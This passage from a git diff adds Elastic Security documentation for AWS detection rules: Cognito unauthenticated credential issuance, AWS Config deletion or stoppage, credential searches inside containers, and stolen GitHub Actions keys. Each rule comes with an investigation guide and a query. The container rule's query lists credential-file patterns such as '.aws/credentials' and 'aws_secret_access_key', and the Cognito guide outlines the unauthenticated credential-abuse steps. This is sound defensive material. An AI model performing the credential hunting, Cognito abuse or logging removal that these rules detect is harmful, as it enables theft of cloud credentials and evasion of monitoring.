MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc new file mode 100644 index 0000000000..a831a19936 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-cognito-unauthenticated-identity-pool-credentials-issued.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-34-aws-cognito-unauthenticated-identity-pool-credentials-issued]] +=== AWS Cognito Unauthenticated Identity Pool Credentials Issued + +Identifies AWS CloudTrail data events where an unauthenticated identity successfully retrieves temporary AWS credentials from a Cognito Identity Pool via GetCredentialsForIdentity. Cognito Identity Pools can be configured to allow unauthenticated (guest) access, intended for scenarios like anonymous app analytics, but a pool that grants those anonymous identities meaningful IAM permissions becomes a public, unauthenticated path to real AWS credentials. Adversaries who discover an identity pool ID (often embedded in mobile app binaries, web app JavaScript, or public source repositories) can call GetId followed by GetCredentialsForIdentity with no login token at all to obtain temporary credentials, then use them to access whatever the pool's unauthenticated role permits. This is a New Terms rule that limits alerting to identity pools that have not been observed issuing credentials to an unauthenticated caller before, since some applications intentionally and continuously use guest access as part of normal operation. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/cognito/latest/developerguide/identity-pool-roles.html +* https://docs.aws.amazon.com/cognito/latest/developerguide/logging-using-cloudtrail.html +* https://hackingthe.cloud/aws/exploitation/cognito_identity_pool_excessive_privileges/ +* https://github.com/RhinoSecurityLabs/pacu/tree/master/pacu/modules/cognito__attack + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Cognito +* Use Case: Asset Visibility +* Resources: Investigation Guide +* Tactic: Credential Access +* Tactic: Initial Access +* Noise: Unknown +* Performance: Fast +* Rule Type: New Terms +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Cognito Unauthenticated Identity Pool Credentials Issued* + + +Amazon Cognito Identity Pools can be configured with `AllowUnauthenticatedIdentities`, letting a caller obtain a +guest identity via `GetId` and then temporary AWS credentials via `GetCredentialsForIdentity`, with no login token or +authentication of any kind. This is by design for use cases like anonymous app analytics, but if the pool's +unauthenticated IAM role is overpermissioned, anyone who discovers the identity pool ID gets a free, unauthenticated +path to real AWS credentials. + +This rule fires the first time a given identity pool is observed issuing credentials to an unauthenticated caller +(`aws.cloudtrail.user_identity.type: "Unknown"`). + + +*Possible investigation steps* + + +- **Identify the pool**: review `aws.cloudtrail.resources.arn` to determine which identity pool issued the + credentials, and `aws.cloudtrail.request_parameters.identityId` for the specific guest identity. +- **Confirm this is intentional guest access**: check whether the application this pool belongs to is designed for + anonymous/unauthenticated use (for example, a public mobile app or website with anonymous analytics). +- **Review the unauthenticated role's permissions**: run + `aws cognito-identity get-identity-pool-roles --identity-pool-id ` and inspect the attached policy for the + unauthenticated role. Broad permissions (data store read/write, `iam:*`, cross-service access) on a role reachable + without authentication is a critical misconfiguration regardless of whether this specific call was malicious. +- **Review source context**: check `source.ip`, `user_agent.original`, and `source.geo` for the calling identity. A + source unrelated to the application's expected client base (for example, a generic AWS SDK/CLI user agent instead + of a mobile/browser client) is a stronger indicator of discovery/abuse rather than normal app traffic. +- **Look for follow-on activity**: search for subsequent API calls made using credentials tied to the same + `identityId` or the unauthenticated role's ARN, to determine what the caller actually did with the credentials. +- **Look for pool enumeration**: check for `ListIdentityPools` or repeated `GetId`/`GetCredentialsForIdentity` calls + against multiple different identity pools from the same source in a short window, which suggests systematic + discovery rather than a single legitimate app session. + + +*False positive analysis* + + +- Many applications intentionally use unauthenticated Identity Pool access for anonymous analytics or public content + delivery. This rule fires once per identity pool the first time this pattern is observed; if confirmed as + intentional and properly scoped (minimal unauthenticated role permissions), no further action is needed for that + pool. + + +*Response and remediation* + + +- If the unauthenticated role is overpermissioned, scope it down immediately to the minimum required for legitimate + anonymous use, or disable `AllowUnauthenticatedIdentities` entirely if guest access is not required. +- If credentials were abused, review all activity performed under the unauthenticated role's ARN during the + credential's validity window and revoke/rotate as appropriate (temporary credentials cannot be revoked directly, + but the role's trust policy or permissions can be tightened immediately). +- Treat any identity pool ID found in client-side code (mobile app binaries, web JavaScript) as public information, + and ensure the unauthenticated role attached to it is scoped accordingly. + + + +==== Setup + + +Cognito Identity Pool data events must be enabled in CloudTrail to capture GetCredentialsForIdentity, GetId, GetOpenIdToken, GetOpenIdTokenForDeveloperIdentity, and UnlinkIdentity. Add an advanced event selector for eventCategory Data and resources.type AWS::Cognito::IdentityPool to the trail. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "aws.cloudtrail" + and event.provider: "cognito-identity.amazonaws.com" + and event.action: "GetCredentialsForIdentity" + and event.outcome: "success" + and aws.cloudtrail.user_identity.type: "Unknown" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-config-resource-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-config-resource-deletion.asciidoc new file mode 100644 index 0000000000..4bcaf83db6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-config-resource-deletion.asciidoc @@ -0,0 +1,174 @@ +[[prebuilt-rule-8-19-34-aws-config-resource-deletion]] +=== AWS Config Resource Deletion + +Identifies attempts to delete AWS Config resources. AWS Config provides continuous visibility into resource configuration changes and compliance posture across an account. Deleting Config components can significantly reduce security visibility and auditability. Adversaries may delete or disable Config resources to evade detection, hide prior activity, or weaken governance controls before or after other malicious actions. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/config/latest/developerguide/how-does-config-work.html +* https://docs.aws.amazon.com/config/latest/APIReference/API_Operations.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Platform: AWS +* Data Source: AWS CloudTrail +* Service: AWS Config +* Tactic: Defense Evasion +* Rule Type: Custom Query (KQL) +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal + +*Version*: 216 + +*Rule authors*: + +* Elastic +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Config Resource Deletion* + + +AWS Config records configuration changes, relationships, and compliance status for AWS resources over time. +Deleting Config components such as recorders, delivery channels, rules, or conformance packs disrupts +security monitoring, compliance enforcement, and forensic visibility. This behavior is uncommon outside of +planned infrastructure changes and should be treated as high-risk when unexpected. This rule detects successful deletion of AWS Config resources. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` to determine who initiated the deletion. +- Confirm whether this principal typically manages AWS Config or centralized security tooling. +- Check `user_agent.original` to determine whether the action was performed via console, CLI, SDK, or automation. + +**Determine what was deleted** +- Inspect `event.action` and `aws.cloudtrail.request_parameters` to identify which Config component was removed + (e.g., configuration recorder, delivery channel, rule, aggregator, or conformance pack). +- Assess whether the deleted resource was account-scoped or organization-wide. Used for compliance reporting, guardrails, or security monitoring. +- Identify the affected regions and accounts using `cloud.region` and `cloud.account.id`. + +**Reconstruct timing and intent** +- Use `@timestamp` to correlate the deletion with: + - IAM changes (role updates, policy modifications, STS activity). + - Other monitoring disruptions (CloudTrail, GuardDuty, Security Hub). + - Destructive or high-impact actions occurring shortly before or after. +- Compare the timing against approved maintenance windows or infrastructure changes. + +**Correlate with broader activity** +- Pivot in CloudTrail on the same principal or access key to identify: + - Additional attempts to disable logging or security controls. + - Resource deletions or configuration weakening across services. +- Evaluate whether the deletion appears isolated or part of a broader evasion sequence. + +**Validate intent with stakeholders** +- Confirm with security, cloud platform, or compliance teams whether the deletion was planned and approved. +- Verify whether replacement Config resources were created shortly after, or whether monitoring remains disabled. + + +*False positive analysis* + + +- **Planned environment changes** + - Non-production account teardown, environment consolidation, or compliance tool migrations may involve + deletion of Config resources. + +- **Authorized security automation** + - Approved automation or security tooling may delete and recreate Config components during setup or remediation. + - Tune exceptions carefully using specific principals or automation roles rather than broad exclusions. + + +*Response and remediation* + + +- **Contain and restore visibility** + - If unauthorized, immediately re-enable AWS Config components, including recorders and delivery channels. + - Validate that historical configuration data and compliance reporting resume as expected. + +- **Investigate scope and impact** + - Determine how long Config visibility was impaired and what activity may have occurred during that window. + - Review other monitoring gaps (e.g., CloudTrail or GuardDuty changes) for coordinated evasion. + +- **Credential and access review** + - Rotate or disable credentials associated with the deleting principal if compromise is suspected. + - Review IAM permissions to ensure only a minimal, well-defined set of roles can manage AWS Config. + +- **Hardening and prevention** + - Use SCPs or IAM conditions to restrict deletion of Config resources in production and security accounts. + - Implement AWS Config rules or Security Hub controls to alert when Config is disabled or degraded. + - Document and formalize change procedures for governance tooling. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: config.amazonaws.com + and event.outcome: success + and event.action: (DeleteConfigRule or DeleteOrganizationConfigRule or DeleteConfigurationAggregator or + DeleteConfigurationRecorder or DeleteConformancePack or DeleteOrganizationConformancePack or + DeleteDeliveryChannel or DeleteRemediationConfiguration or DeleteRetentionConfiguration) + and not aws.cloudtrail.user_identity.invoked_by: (securityhub.amazonaws.com or fms.amazonaws.com or controltower.amazonaws.com or config-conforms.amazonaws.com) + and not user_agent.original: (*Pulumi* or *Terraform*) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-configuration-recorder-stopped.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-configuration-recorder-stopped.asciidoc new file mode 100644 index 0000000000..eb256c7578 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-configuration-recorder-stopped.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-34-aws-configuration-recorder-stopped]] +=== AWS Configuration Recorder Stopped + +Identifies when an AWS Config configuration recorder is stopped. AWS Config recorders continuously track and record configuration changes across supported AWS resources. Stopping the recorder immediately reduces visibility into infrastructure changes and can be abused by adversaries to evade detection, obscure follow-on activity, or weaken compliance and security monitoring controls. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://awscli.amazonaws.com/v2/documentation/api/latest/reference/configservice/stop-configuration-recorder.html +* https://docs.aws.amazon.com/config/latest/APIReference/API_StopConfigurationRecorder.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS Config +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: AWS +* Data Source: AWS CloudTrail + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Configuration Recorder Stopped* + + +AWS Config provides continuous visibility into resource configuration changes and underpins many security, compliance, +and audit workflows. Stopping the configuration recorder prevents new changes from being captured and can create blind +spots in detection and forensic timelines. + +This behavior is uncommon in steady-state production environments and should be carefully reviewed, especially when +performed outside approved maintenance windows or by unexpected principals. + + +*Possible investigation steps* + + +**Identify the actor** +- Review `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` + to determine who initiated the `StopConfigurationRecorder` action. Confirm whether this principal typically administers AWS Config or performs security and compliance operations. + +**Examine the request context** +- Review `user_agent.original` to determine whether the request originated from the AWS Console, CLI, SDK, or automation tooling. +- Inspect `source.ip` and any available geo context to assess whether the request originated from an expected network or region. + +**Determine scope and impact** +- Identify which configuration recorder was stopped and which regions or resources were affected. +- Determine how long the recorder remained disabled and whether any configuration changes occurred during that window. +- Assess whether AWS Config rules, Security Hub controls, or downstream monitoring systems were impacted. + +**Correlate with related activity** +- Look for surrounding CloudTrail activity from the same principal, including: + - Deletion or modification of Config rules, delivery channels, or conformance packs. + - IAM changes, credential activity, or other security control modifications. +- Check for signs of follow-on activity that may have relied on reduced visibility, such as resource creation, policy changes, + or network reconfiguration. + +**Validate intent** +- Confirm with the platform, security, or compliance teams whether the recorder stoppage was intentional and approved. +- Compare the timing against change management records, infrastructure deployments, or account bootstrapping workflows. + + +*False positive analysis* + + +- Planned maintenance or controlled configuration changes may require temporarily stopping the recorder. +- Automated account provisioning, teardown, or remediation tooling may stop and restart the recorder as part of normal workflows. + + +*Response and remediation* + + +- Immediately restart the AWS Config recorder to restore configuration visibility. +- Review CloudTrail logs for activity that occurred while the recorder was stopped and assess potential security or compliance impact. +- If the action was unauthorized, rotate or disable credentials associated with the initiating principal and investigate for compromise. +- Review IAM permissions to ensure only a minimal set of trusted roles can stop or modify AWS Config components. +- Implement guardrails such as AWS Config rules, SCPs, or automated remediation to detect and respond to recorder stoppage. +- Update monitoring, alerting, and incident response runbooks to explicitly cover AWS Config visibility loss scenarios. + + +*Additional information* + +- **https://github.com/aws-samples/aws-incident-response-playbooks/blob/c151b0dc091755fffd4d662a8f29e2f6794da52c/playbooks/[AWS IR Playbooks]** +- **https://github.com/aws-samples/aws-customer-playbook-framework/tree/a8c7b313636b406a375952ac00b2d68e89a991f2/docs[AWS Customer Playbook Framework]** +- **https://aws.amazon.com/premiumsupport/knowledge-center/security-best-practices/[AWS Knowledge Center – Security Best Practices]** + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: aws.cloudtrail + and event.provider: config.amazonaws.com + and event.action: StopConfigurationRecorder + and event.outcome: success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-credentials-searched-for-inside-a-container.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-credentials-searched-for-inside-a-container.asciidoc new file mode 100644 index 0000000000..65e8d57153 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-credentials-searched-for-inside-a-container.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-aws-credentials-searched-for-inside-a-container]] +=== AWS Credentials Searched For Inside A Container + +This rule detects the use of system search utilities like grep and find to search for AWS credentials inside a container. Unauthorized access to these sensitive files could lead to further compromise of the container environment or facilitate a container breakout to the underlying cloud environment. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://sysdig.com/blog/threat-detection-aws-cloud-containers/ + +*Tags*: + +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Domain: Endpoint + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating AWS Credentials Searched For Inside A Container* + + +Containers often house applications that interact with AWS services, necessitating the storage of AWS credentials. Adversaries may exploit this by using search utilities to locate these credentials, potentially leading to unauthorized access. The detection rule identifies suspicious use of search tools within containers, flagging attempts to locate AWS credentials by monitoring specific process names and arguments, thus helping to prevent credential theft and subsequent attacks. + + +*Possible investigation steps* + + +- Review the process details to identify the specific search utility used (e.g., grep, find) and the arguments passed, focusing on those related to AWS credentials such as aws_access_key_id or aws_secret_access_key. +- Check the user context under which the suspicious process was executed to assess whether it aligns with expected behavior for that user or role within the container. +- Investigate the source of the container image to ensure it is from a trusted repository and has not been tampered with, which could indicate a supply chain compromise. +- Analyze recent activity logs for the container to identify any other suspicious behavior or anomalies that might correlate with the search for AWS credentials, such as unexpected network connections or file modifications. +- Review access logs for AWS services to detect any unauthorized or unusual access patterns that might suggest the use of compromised credentials. + + +*False positive analysis* + + +- Routine maintenance scripts or automated processes may use search utilities to verify the presence of AWS credentials for legitimate configuration checks. To handle this, identify and whitelist these specific scripts or processes by their unique identifiers or execution paths. +- Developers or system administrators might manually search for AWS credentials during debugging or configuration tasks. Implement a policy to log and review these activities, and consider excluding known user accounts or roles from triggering alerts during specific time windows or in designated environments. +- Security audits or compliance checks often involve searching for sensitive information, including AWS credentials, to ensure proper security measures are in place. Coordinate with audit teams to schedule these activities and temporarily suppress alerts during these periods, or exclude specific audit tools from detection. +- Continuous integration and deployment (CI/CD) pipelines might include steps that search for AWS credentials to validate environment configurations. Identify these pipelines and exclude their associated processes or container environments from triggering alerts, ensuring that only authorized CI/CD tools are used. + + +*Response and remediation* + + +- Immediately isolate the affected container to prevent further unauthorized access or data exfiltration. This can be done by stopping the container or disconnecting it from the network. +- Revoke any AWS credentials that were potentially exposed or accessed. This includes rotating keys and updating any services or applications that rely on these credentials. +- Conduct a thorough review of the container's file system to identify any unauthorized changes or additional malicious files that may have been introduced. +- Implement stricter access controls and monitoring on AWS credentials within containers, ensuring they are stored securely and accessed only by authorized processes. +- Escalate the incident to the cloud security team to assess the potential impact on the broader cloud environment and determine if further investigation or response is needed. +- Enhance logging and monitoring for similar activities across other containers and cloud environments to detect and respond to future attempts promptly. +- Review and update container security policies to include best practices for credential management and access control, reducing the risk of similar incidents. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. + +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process.entry_leader.entry_meta.type == "container" and +process.name in ("grep", "egrep", "fgrep", "find", "locate", "mlocate", "cat", "sed", "awk") and +process.command_line like~ ( + "*aws_access_key_id*", "*aws_secret_access_key*", "*aws_session_token*", "*accesskeyid*", "*secretaccesskey*", + "*access_key*", "*.aws/credentials*" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Unsecured Credentials +** ID: T1552 +** Reference URL: https://attack.mitre.org/techniques/T1552/ +* Sub-technique: +** Name: Credentials In Files +** ID: T1552.001 +** Reference URL: https://attack.mitre.org/techniques/T1552/001/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data from Local System +** ID: T1005 +** Reference URL: https://attack.mitre.org/techniques/T1005/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: File and Directory Discovery +** ID: T1083 +** Reference URL: https://attack.mitre.org/techniques/T1083/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc new file mode 100644 index 0000000000..6b0fc7c192 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-aws-credentials-used-from-github-actions-and-non-ci-cd-infrastructure]] +=== AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure + +Detects AWS access keys that are used from both GitHub Actions CI/CD infrastructure and non-CI/CD infrastructure. This pattern indicates potential credential theft where an attacker who has stolen AWS credentials configured as GitHub Actions secrets and is using them from their own infrastructure. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 1h + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.github.com/en/actions/deployment/security-hardening-your-deployments/configuring-openid-connect-in-amazon-web-services +* https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers_create_oidc.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: AWS CloudTrail +* Data Source: AWS IAM +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Slow +* Threat: Supply Chain +* Rule Type: ES|QL +* Platform: AWS +* Service: AWS IAM + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating AWS Credentials Used from GitHub Actions and Non-CI/CD Infrastructure* + + +This rule detects when an AWS access key appears in CloudTrail from both GitHub Actions runners +(identified by Microsoft ASN or the `github-actions` user agent string) and from infrastructure +outside the expected CI/CD provider ASNs. This is a strong indicator that AWS credentials stored +as GitHub repository or organization secrets have been exfiltrated and are being used by an +attacker from their own infrastructure. + + +*Possible investigation steps* + + +- Identify which GitHub repository owns the credential by cross-referencing the access key ID with + your GitHub Actions workflow configurations and AWS IAM user/role assignments. +- Review the suspicious source IPs and ASNs — residential ISPs, VPN providers, or budget hosting + providers are high-confidence indicators of credential theft. +- Check the actions performed from the suspicious source — `sts:GetCallerIdentity` followed by + enumeration calls (`ListBuckets`, `DescribeInstances`, `ListUsers`) is a common attacker recon + pattern after credential theft. +- Review the user agent strings from the suspicious source — `aws-cli` or `boto3` from a non-runner + IP confirms manual/scripted usage outside CI/CD. +- Check GitHub audit logs for recent workflow changes, new collaborators, or secret access events + that could indicate how the credential was stolen. +- Determine if the credential is a long-lived IAM user key or a temporary STS session — temporary + credentials from `AssumeRoleWithWebIdentity` (OIDC) are less likely to be exfiltrated but still + possible. + + +*Response and remediation* + + +- Immediately rotate the compromised AWS access key in IAM and update the GitHub repository/org secret. +- Review and revoke any resources created or modified by the suspicious source IP using CloudTrail + event history filtered by the access key ID. +- Audit the GitHub repository for signs of compromise — check for unauthorized workflow modifications, + new secrets, or suspicious pull requests that could have exfiltrated the credential. +- Implement OIDC-based authentication (`aws-actions/configure-aws-credentials` with `role-to-assume`) + instead of long-lived access keys to eliminate the credential theft vector entirely. +- If using OIDC, add IP condition policies to the IAM role trust policy to restrict + `AssumeRoleWithWebIdentity` to known GitHub runner IP ranges. +- Enable GitHub's secret scanning and push protection to detect accidental credential exposure in + code or logs. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-aws.cloudtrail-* metadata _id, _version, _index + +| WHERE event.dataset == "aws.cloudtrail" + AND aws.cloudtrail.user_identity.access_key_id IS NOT NULL + AND @timestamp >= NOW() - 7 days + AND source.as.organization.name IS NOT NULL + +// AWS API key used from github actions +| EVAL is_aws_github = user_agent.original LIKE "*aws-credentials-for-github-actions" + +// non CI/CD related ASN +| EVAL is_not_cicd_infra = not source.as.organization.name IN ("Microsoft Corporation", "Amazon.com, Inc.", "Amazon Technologies Inc.", "Google LLC") + +| STATS Esql.is_github_aws_key = MAX(CASE(is_aws_github, 1, 0)), + Esql.has_suspicious_asn = MAX(CASE(is_not_cicd_infra, 1, 0)), + Esql.last_seen_suspicious_asn = MAX(CASE(is_not_cicd_infra, @timestamp, NULL)), + Esql.source_ip_values = VALUES(source.address), + Esql.source_asn_values = VALUES(source.as.organization.name) BY aws.cloudtrail.user_identity.access_key_id, user.name, cloud.account.id + +// AWS API key tied to a GH action used from unusual ASN (non CI/CD infra) +| WHERE Esql.is_github_aws_key == 1 AND Esql.has_suspicious_asn == 1 + + // avoid alert duplicates within 1h interval + AND Esql.last_seen_suspicious_asn >= NOW() - 1 hour + +| KEEP user.name, aws.cloudtrail.user_identity.access_key_id, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: 